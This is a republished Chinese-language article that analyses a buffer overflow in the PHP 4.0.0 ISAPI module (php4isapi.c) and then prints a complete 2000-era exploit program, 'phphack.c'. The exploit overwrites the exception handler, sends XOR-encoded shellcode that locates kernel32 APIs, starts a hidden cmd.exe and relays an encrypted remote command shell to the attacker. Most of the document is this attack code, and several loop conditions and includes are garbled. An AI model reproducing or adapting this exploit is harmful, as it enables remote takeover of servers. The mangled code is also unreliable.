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php4.0.0远程溢出源代码分析与测试程序_PHP

WBOY
풀어 주다： 2016-06-01 12:25:41
원래의
1032명이 탐색했습니다.

hp4.0.0才出来的时候，我们测试发现php4isasp.dll有缓冲溢出漏洞，下面是php4isapi.c的相关源代码：

static void sapi_isapi_register_server_variables(zval *track_vars_array ELS_DC SLS_DC PLS_DC)
{
char static_variable_buf[ISAPI_SERVER_VAR_BUF_SIZE];
char *variable_buf;
DWORD variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
char *variable;
char *strtok_buf = NULL;
LPEXTENSION_CONTROL_BLOCK lpECB;
char **p = isapi_server_variables;

lpECB = (LPEXTENSION_CONTROL_BLOCK) SG(server_context);

/* Register the standard ISAPI variables */
while (*p) {
  variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
  if (lpECB->GetServerVariable(lpECB->ConnID, *p, static_variable_buf, &variable_len)
   && static_variable_buf[0]) {
   php_register_variable(*p, static_variable_buf, track_vars_array ELS_CC PLS_CC);
  } else if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
   variable_buf = (char *) emalloc(variable_len);
   if (lpECB->GetServerVariable(lpECB->ConnID, *p, variable_buf, &variable_len)
    && variable_buf[0]) {
    php_register_variable(*p, variable_buf, track_vars_array ELS_CC PLS_CC);
   }
   efree(variable_buf);
  }
  p++;
}

/* PHP_SELF support */
#ifdef WITH_ZEUS
if (lpECB->GetServerVariable(lpECB->ConnID, "PATH_INFO", static_variable_buf, &variable_len)
#else
if (lpECB->GetServerVariable(lpECB->ConnID, "SCRIPT_NAME", static_variable_buf, &variable_len)

/*  php4.0.0漏洞所在地，缓冲溢出。此时的variable_len变量已经是上次调用GetServerVariable 的返回变量  */
/*  php4.0.3 已经修补  */

#endif
  && static_variable_buf[0]) {
  php_register_variable("PHP_SELF", static_variable_buf, track_vars_array ELS_CC PLS_CC);

/*
   因为形参被覆盖，而这形参又很难伪造，所以传统的溢出攻击因为这个调用不能返回而无效
   但我们可以使用异常结构攻击，可以参见我的相关的文章
*/


}

/* Register the internal bits of ALL_HTTP */

variable_len = ISAPI_SERVER_VAR_BUF_SIZE;

if (lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP", static_variable_buf, &variable_len)) {
  variable_buf = static_variable_buf;
} else {
  if (GetLastError()==ERROR_INSUFFICIENT_BUFFER) {
   variable_buf = (char *) emalloc(variable_len);
   if (!lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP", variable_buf, &variable_len)) {
    efree(variable_buf);
    return;
   }
  } else {
   return;
  }
}
variable = php_strtok_r(variable_buf, "\r\n", &strtok_buf);
while (variable) {
  char *colon = strchr(variable, ':');

  if (colon) {
   char *value = colon+1;

   while (*value==' ') {
    value++;
   }
   *colon = 0;
   php_register_variable(variable, value, track_vars_array ELS_CC PLS_CC);
   *colon = ':';
  }
  variable = php_strtok_r(NULL, "\r\n", &strtok_buf);
}
if (variable_buf!=static_variable_buf) {
  efree(variable_buf);
}
}

    因为形参的问题，采用的覆盖异常处理结构的办法使得shellcode代码得到控制。但因为异常结构代码相对不统一，可能需要根据被攻击系统的WINDOWS版本调整相关参数。具体攻击测试代码：

/*   
     php4.0  overflow program phphack.c ver 1.0
     copy by yuange   2000。08。16

*/   

#include
#include
#include
#include
// #define  DEBUG

//#define  RETEIPADDR  eipwin2000
#define  FNENDLONG   0x08
#define  NOPCODE     'B'    // INC EDX    0x90
#define  NOPLONG     0x3c
#define  BUFFSIZE    0x20000



#define  RETEIPADDRESS 0x900+4
#define  SHELLBUFFSIZE 0x800
#define  SHELLFNNUMS   9
#define  DATAXORCODE   0xAA
#define  LOCKBIGNUM    19999999
#define  LOCKBIGNUM2   13579139

#define  SHELLPORT   0x1f90   //0x1f90=8080
#define  WEBPORT     80  

void     shellcodefnlock();
void     shellcodefn(char *ecb);

void     cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);

int main(int argc, char **argv)
{
  char *server;
  char *str="LoadLibraryA""\x0""CreatePipe""\x0"
       "CreateProcessA""\x0""CloseHandle""\x0"
       "PeekNamedPipe""\x0"
       "ReadFile""\x0""WriteFile""\x0"
       "Sleep""\x0"
       "cmd.exe""\x0""\x0d\x0a""exit""\x0d\x0a""\x0"
       "XORDATA""\x0"
       "strend";
  char buff1[]="GET /default.php4";
  char buff2[]=" HTTP/1.1 \nHOST:";
  char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
  char SRLF[]="\x0d\x0a\x00\x00";  

  
  char  eipjmpesp[]   ="\xb7\x0e\xfa\x7f";
// push esp
// ret
  char  eipexcept[]="\xb8\x0e\xfa\x7F";
// ret
  char  eipjmpesi[]="\x08\x88\xfa\x7F";   
  char  eipjmpedi[]="\xbe\x8b\xfa\x7F";   
  char  eipjmpebx[]="\x73\x67\xfa\x7F";   
//  push ebx
//  ret
/*
   jmp ebx功能代码地址， 中文WINNT、中文WIN2000此地址固定
   这是处于c_936.nls模块
   win2000发生异常调用异常处理结构代码时ebx指向异常结构。winnt老版本是esi,可用7ffa8808,后面版本是edi,可用7ffa8bbe。    
*/

  char    buff[BUFFSIZE];
  char    recvbuff[BUFFSIZE];
  char    shellcodebuff[0x1000];
  struct  sockaddr_in s_in2,s_in3;
  struct  hostent *he;
  char    *shellcodefnadd,*chkespadd;
  unsigned  int sendpacketlong;
//  unsigned
  int i,j,k;
  unsigned  char temp;
  int     fd;
  u_short port,port1,shellcodeport;
  SOCKET  d_ip;
  WSADATA wsaData;
  int offset=0;
  int xordatabegin;
  int  lockintvar1,lockintvar2;
  char lockcharvar;
  int OVERADD=RETEIPADDRESS;
  int result;

  fprintf(stderr,"\n PHP4.0 FOR WIN32 OVERFLOW PROGRAM 2.0 .");
  fprintf(stderr,"\n copy by yuange 2000.8.16.");
  fprintf(stderr,"\n wellcome to my homepage http://yuange.yeah.net .");
  fprintf(stderr,"\n welcome  to http://www.nsfocus.com .");
  fprintf(stderr,"\n usage: %s [webport] \n", argv[0]);

  
  if(argc       fprintf(stderr,"\n please enter the web server:");
      gets(recvbuff);
      for(i=0;i         if(recvbuff[i]!=' ') break;
      }

      server=recvbuff;
      if(i/*
      fprintf(stderr,"\n please enter the offset(0-3):");
      gets(buff);
      for(i=0;i          if(buff[i]!=' ') break;
      }
      offset=atoi(buff+i);       
*/
    }


  result= WSAStartup(MAKEWORD(1, 1), &wsaData);
  if (result != 0) {
        fprintf(stderr, "Your computer was not connected "
            "to the Internet at the time that "
            "this program was launched, or you "
            "do not have a 32-bit "
            "connection to the Internet.");
        exit(1);
    }

/*
  if(argc>2){
   offset=atoi(argv[2]);
  }
  OVERADD+=offset;
  if(offset3){
     fprintf(stderr,"\n offset error !offset  0 - 3 .");
     gets(buff);
     exit(1);
  }

  */
  


  if(argc   //     WSACleanup( );    
//       exit(1);
  }
  else  server = argv[1];

  for(i=0;i     if(server[i]!=' ')
     break;
  }
  if(i
  for(i=0;i+3      
      if(server[i]==':'){
          if(server[i+1]=='\\'||server[i+1]=='/'){
              if(server[i+2]=='\\'||server[i+2]=='/'){
                  server+=i;
                  server+=3;
                  break;
              }
          }
      }
  }
  for(i=1;i      if(server[i-1]=='\\'||server[i-1]=='/') server[i-1]=0;
  }

  d_ip = inet_addr(server);
  if(d_ip==-1){
     he = gethostbyname(server);
     if(!he)
     {
       WSACleanup( );
       printf("\n Can't get the ip of %s !\n",server);
       gets(buff);
       exit(1);     
     }
     else    memcpy(&d_ip, he->h_addr, 4);
  }     
  
  if(argc>2) port=atoi(argv[2]);
  else   port=WEBPORT;
  if(port==0) port=WEBPORT;

  fd = socket(AF_INET, SOCK_STREAM,0);
  i=8000;
  setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
         
  s_in3.sin_family = AF_INET;
  s_in3.sin_port = htons(port);
  s_in3.sin_addr.s_addr = d_ip;
  printf("\n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
  
if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct sockaddr_in))!=0)
{        
     closesocket(fd);
     WSACleanup( );
     fprintf(stderr,"\n  connect err.");
     gets(buff);
     exit(1);
}
  
  _asm{
         mov ESI,ESP
         cmp ESI,ESP
  }
  _chkesp();
  chkespadd=_chkesp;
  temp=*chkespadd;
  if(temp==0xe9) {
         ++chkespadd;
         i=*(int*)chkespadd;
         chkespadd+=i;
         chkespadd+=4;
  }

  shellcodefnadd=shellcodefnlock;
  temp=*shellcodefnadd;
  if(temp==0xe9) {
         ++shellcodefnadd;
         k=*(int *)shellcodefnadd;
         shellcodefnadd+=k;
         shellcodefnadd+=4;
  }

  for(k=0;k         if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
  }
  memset(buff,NOPCODE,BUFFSIZE);
  if(argc>4){
     memcpy(buff,argv[4],strlen(argv[4]));
  }
  else  memcpy(buff,buff1,strlen(buff1));
  // strcpy(buff,buff1);
// memset(buff+strlen(buff),NOPCODE,1);

    memcpy(buff+OVERADD+0x60+NOPLONG,shellcodefnadd+k+4,0x80);
//  memcpy(buff+NOPLONG,shellcodefnadd+k+4,0x80);
     
  shellcodefnadd=shellcodefn;
  temp=*shellcodefnadd;
  if(temp==0xe9) {
          ++shellcodefnadd;
         k=*(int *)shellcodefnadd;
         shellcodefnadd+=k;
         shellcodefnadd+=4;
  }
  

  for(k=0;k         if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
  }

  memcpy(shellcodebuff,shellcodefnadd,k);   //j);
  cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
  for(i=0;i      if(memcmp(str+i,"strend",6)==0) break;
  }     
  memcpy(shellcodebuff+k,str,i);


  sendpacketlong=k+i;
  for(k=0;k         if(memcmp(buff+OVERADD+NOPLONG+k,fnendstr,FNENDLONG)==0) break;

//         if(memcmp(buff+NOPLONG+k,fnendstr,FNENDLONG)==0) break;

  }

  
  
  
  for(i=0;i         temp=shellcodebuff[i];
         temp^=DATAXORCODE;
         if(temp           buff[OVERADD+NOPLONG+k]='0';

    //       buff[NOPLONG+k]='0';
           ++k;
           temp+=0x40;
         }
          buff[OVERADD+NOPLONG+k]=temp;

     //    buff[NOPLONG+k]=temp;
         ++k;
}

  

//  memcpy(buff+OVERADD+NOPLONG+k,shellcodebuff,sendpacketlong);
//  k+=sendpacketlong;


/*
  for(i=-0x30;i    memcpy(buff+OVERADD+i,eipexcept,4);
  }
  memcpy(buff+OVERADD+i,eipjmpesp,4);
*/
  for(i=-40;i     memcpy(buff+OVERADD+i,"\x42\x42\x42\x2D",4);
     memcpy(buff+OVERADD+i+4,eipjmpebx,4);
  }
  memcpy(buff+OVERADD+i+8,"\x42\x42\x42\x42\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x5b\xff\x63\x64\x42\x42\x42\x42",24);



//  fprintf(stderr,"\n offset:%d",offset);



   /*

  192.168.8.48
  if(argc>2){
      server=argv[2];
      if(strcmp(server,"win9x")==0){
          memcpy(buff+OVERADD,eipwin9x,4);
          fprintf(stderr,"\n nuke win9x.");
      }
      if(strcmp(server,"winnt")==0){
          memcpy(buff+OVERADD,eipwinnt,4);
          fprintf(stderr,"\n nuke winnt.");
      }
      
  }

*/

  sendpacketlong=k+OVERADD+i+NOPLONG;
//sendpacketlong=k+NOPLONG;

strcpy(buff+sendpacketlong,buff2);
strcpy(buff+sendpacketlong+strlen(buff2),server);

  sendpacketlong=strlen(buff);
// buff[sendpacketlong]=0x90;
strcpy(buff+sendpacketlong,"\n\n");
/*
buff[sendpacketlong]=0x90;
for(i=-0x30;i    memcpy(buff+sendpacketlong+OVERADD+i,eipexcept,4);
  }
  memcpy(buff+sendpacketlong+OVERADD+i,eipwinnt,4);

  strcpy(buff+sendpacketlong+OVERADD+i+4,"\xff\x63\x64");
  
  strcpy(buff+sendpacketlong+OVERADD+i+20,"\n\n");
*/

// printf("\n send buff:\n%s",buff);
//  strcpy(buff+OVERADD+NOPLONG,shellcode);
  sendpacketlong=strlen(buff);

/*
#ifdef DEBUG
  _asm{
      lea esp,buff
        add esp,OVERADD
      ret

  }
#endif

*/
  if(argc>6) {
      if(strcmp(argv[6],"debug")==0)     {
            _asm{
             lea esp,buff
             add esp,OVERADD
             ret
            }
      }
  }



  xordatabegin=0;
  for(i=0;i     j=sendpacketlong;
     fprintf(stderr,"\n send  packet %d bytes.",j);
//     fprintf(stderr,"\n sned:\n%s ",buff);
     send(fd,buff,j,0);
     k=recv(fd,recvbuff,0x1000,0);
     if(k>=8&&memcmp(recvbuff,"XORDATA",8)==0) {
          xordatabegin=1;
          k=-1;
          fprintf(stderr,"\n ok!\n");
     }
     if(k>0){
         recvbuff[k]=0;
         fprintf(stderr,"\n  recv:\n %s",recvbuff);
     }

  }

  k=1;
  ioctlsocket(fd, FIONBIO, &k);

// fprintf(stderr,"\n now begin: \n");

  lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
  lockintvar2=lockintvar1;


/*
  for(i=0;i          SRLF[i]^=DATAXORCODE;
  }
  send(fd,SRLF,strlen(SRLF),0);
  send(fd,SRLF,strlen(SRLF),0);
  send(fd,SRLF,strlen(SRLF),0);
*/
  k=1;
  while(k!=0){
      if(k          gets(buff);
          k=strlen(buff);
          memcpy(buff+k,SRLF,3);
    //      send(fd,SRLF,strlen(SRLF),0);
    //      fprintf(stderr,"%s",buff);
          for(i=0;i                lockintvar2=lockintvar2*0x100;
                lockintvar2=lockintvar2%LOCKBIGNUM;
                lockcharvar=lockintvar2%0x100;
                buff[i]^=lockcharvar;   // DATAXORCODE;
//              buff[i]^=DATAXORCODE;
          }
             send(fd,buff,k+2,0);
//          send(fd,SRLF,strlen(SRLF),0);
      }
      k=recv(fd,buff,0x1000,0);
      if(xordatabegin==0&&k>=8&&memcmp(buff,"XORDATA",8)==0) {
          xordatabegin=1;
          k=-1;
      }

      if(k>0){
//          fprintf(stderr,"recv %d bytes",k);
          if(xordatabegin==1){
              for(i=0;i                lockintvar1=lockintvar1*0x100;
                lockintvar1=lockintvar1%LOCKBIGNUM;
                lockcharvar=lockintvar1%0x100;
                buff[i]^=lockcharvar;   // DATAXORCODE;
              }
          }
          buff[k]=0;
          fprintf(stderr,"%s",buff);
      }
//      if(k==0) break;
  }  
  closesocket(fd);
  WSACleanup( );
  fprintf(stderr,"\n the server close connect.");
  gets(buff);
  return(0);
}
void  shellcodefnlock()
{
       _asm{
              nop
              nop
              nop
              nop
              nop
              nop
              nop
              nop
              _emit('.')

              _emit('p')
              _emit('h')
              _emit('p')
              _emit('4')
              _emit('?')


              jmp   next
getediadd:      pop   EDI
              push  EDI
              pop   ESI
              push  ebx    //  ecb
              push  ebx               //  call shellcodefn ret address
              xor   ecx,ecx
looplock:     lodsb
              cmp  al,cl
              jz   shell
              cmp  al,0x30
              jz   clean0
sto:          xor  al,DATAXORCODE
              stosb
              jmp  looplock
clean0:       lodsb
              sub al,0x40
              jmp sto
next:         call  getediadd
shell:           NOP
              NOP
              NOP
              NOP
              NOP
              NOP
              NOP
              NOP
              
    }
}         

void shellcodefn(char *ecb)
{    char        Buff[SHELLBUFFSIZE+2];
    int         *except[2];


    FARPROC     Sleepadd;
    FARPROC     WriteFileadd;
    FARPROC     ReadFileadd;
    FARPROC     PeekNamedPipeadd;
    FARPROC     CloseHandleadd;
    FARPROC     CreateProcessadd;
    FARPROC     CreatePipeadd;
    FARPROC        procloadlib;

    FARPROC     apifnadd[1];
    FARPROC     procgetadd=0;
    FARPROC     writeclient= *(int *)(ecb+0x84);
    FARPROC     readclient = *(int *)(ecb+0x88);
    HCONN       ConnID     = *(int *)(ecb+8) ;
    char        *stradd;
    int         imgbase,fnbase,k,l;
    HANDLE      libhandle;   //libwsock32;  
    STARTUPINFO siinfo;

    PROCESS_INFORMATION ProcessInformation;
    HANDLE      hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
    int         lBytesRead;
    int  lockintvar1,lockintvar2;
    char lockcharvar;

    
    
    SECURITY_ATTRIBUTES sa;
    _asm {            jmp    nextcall
         getstradd:   pop    stradd
                      lea    EDI,except
                      mov    dword ptr FS:[0],EDI
    }
       except[0]=0xffffffff;
       except[1]=stradd-0x07;

       imgbase=0x77e00000;
       _asm{
          call getexceptretadd
       }
       for(;imgbase            imgbase+=0x10000;
            if(imgbase==0x78000000) imgbase=0xbff00000;
            if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int *)(imgbase+0x3c))=='EP'){
                   fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
                   k=*(int *)(fnbase+0xc)+imgbase;
                   if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
                      libhandle=imgbase;
                      k=imgbase+*(int *)(fnbase+0x20);
                      for(l=0;l                        if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor')
                        {
                           k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
                           k+=*(int *)(fnbase+0x10)-1;
                           k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
                           procgetadd=k+imgbase;
                           break;
                        }
                      }
                   }
            }
          }
//搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
//注意这儿处理了搜索页面不在情况。

        if(procgetadd==0) goto  die ;

            for(k=1;k                apifnadd[k]=procgetadd(libhandle,stradd);
                for(;;++stradd){
                 if(*(stradd)==0&&*(stradd+1)!=0) break;
                }
                ++stradd;
            }

            sa.nLength=12;
            sa.lpSecurityDescriptor=0;
            sa.bInheritHandle=TRUE;

            CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0);
            CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);


// ZeroMemory(&siinfo,sizeof(siinfo));
            _asm{
                 lea EDI,siinfo
                xor eax,eax
                mov ecx,0x11
                repnz stosd
            }
    siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    siinfo.wShowWindow = SW_HIDE;
    siinfo.hStdInput = hReadPipe2;
    siinfo.hStdOutput=hWritePipe1;
    siinfo.hStdError =hWritePipe1;
    k=0;
//    while(k==0)
//   {
        k=CreateProcessadd(NULL,stradd,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);
        stradd+=8;
//    }    
    PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
    k=8;
    writeclient(ConnID,stradd+9,&k,0);

    lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
    lockintvar2=lockintvar1;

    
    while(1) {
        PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
        if(lBytesRead>0) {
           ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
           if(lBytesRead>0) {
               for(k=0;k                lockintvar2=lockintvar2*0x100;
                lockintvar2=lockintvar2%LOCKBIGNUM;
                lockcharvar=lockintvar2%0x100;
                Buff[k]^=lockcharvar;   // DATAXORCODE;
//                Buff[k]^=DATAXORCODE;
               }
               writeclient(ConnID,Buff,&lBytesRead,0); // HSE_IO_SYNC);
           }
        }
        else{
              lBytesRead=SHELLBUFFSIZE;
              k=readclient(ConnID,Buff,&lBytesRead);
              if(k!=1){
                k=8;
                WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
                WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
                WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
                while(1){
                  Sleepadd(0x7fffffff);                  //僵死  
                }    
            
              }
              else{
                for(k=0;k                  lockintvar1=lockintvar1*0x100;
                  lockintvar1=lockintvar1%LOCKBIGNUM;
                  lockcharvar=lockintvar1%0x100;
                  Buff[k]^=lockcharvar;   // DATAXORCODE;
//                 Buff[k]^=DATAXORCODE;
                }
                WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
//             Sleepadd(1000);
              }
        }
    }
    
    die: goto die  ;
        _asm{

getexceptretadd:   pop  eax
                   push eax
                   mov  edi,dword ptr [stradd]
                   mov dword ptr [edi-0x0e],eax
                   ret
errprogram:           mov eax,dword ptr [esp+0x0c]
                   add eax,0xb8
                   mov dword ptr [eax],0x11223344  //stradd-0xe
                   xor eax,eax                //2
                   ret                        //1
execptprogram:     jmp errprogram            //2 bytes     stradd-7
nextcall:          call getstradd            //5 bytes
                   NOP
                   NOP
                   NOP
                   NOP
                   NOP
                   NOP
                   NOP
                   NOP
                   NOP
        }        
}



void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
{
   int i,k;
   unsigned char temp;
   char *calladd;

   for(i=0;i       temp=shellbuff[i];
       if(temp==0xe8){
         k=*(int *)(shellbuff+i+1);
         calladd=fnadd;
         calladd+=k;
         calladd+=i;
         calladd+=5;
         if(calladd==chkesp){
             shellbuff[i]=0x90;
             shellbuff[i+1]=0x43;   // inc ebx
             shellbuff[i+2]=0x4b;    // dec ebx
             shellbuff[i+3]=0x43;
             shellbuff[i+4]=0x4b;
         }
       }
   }

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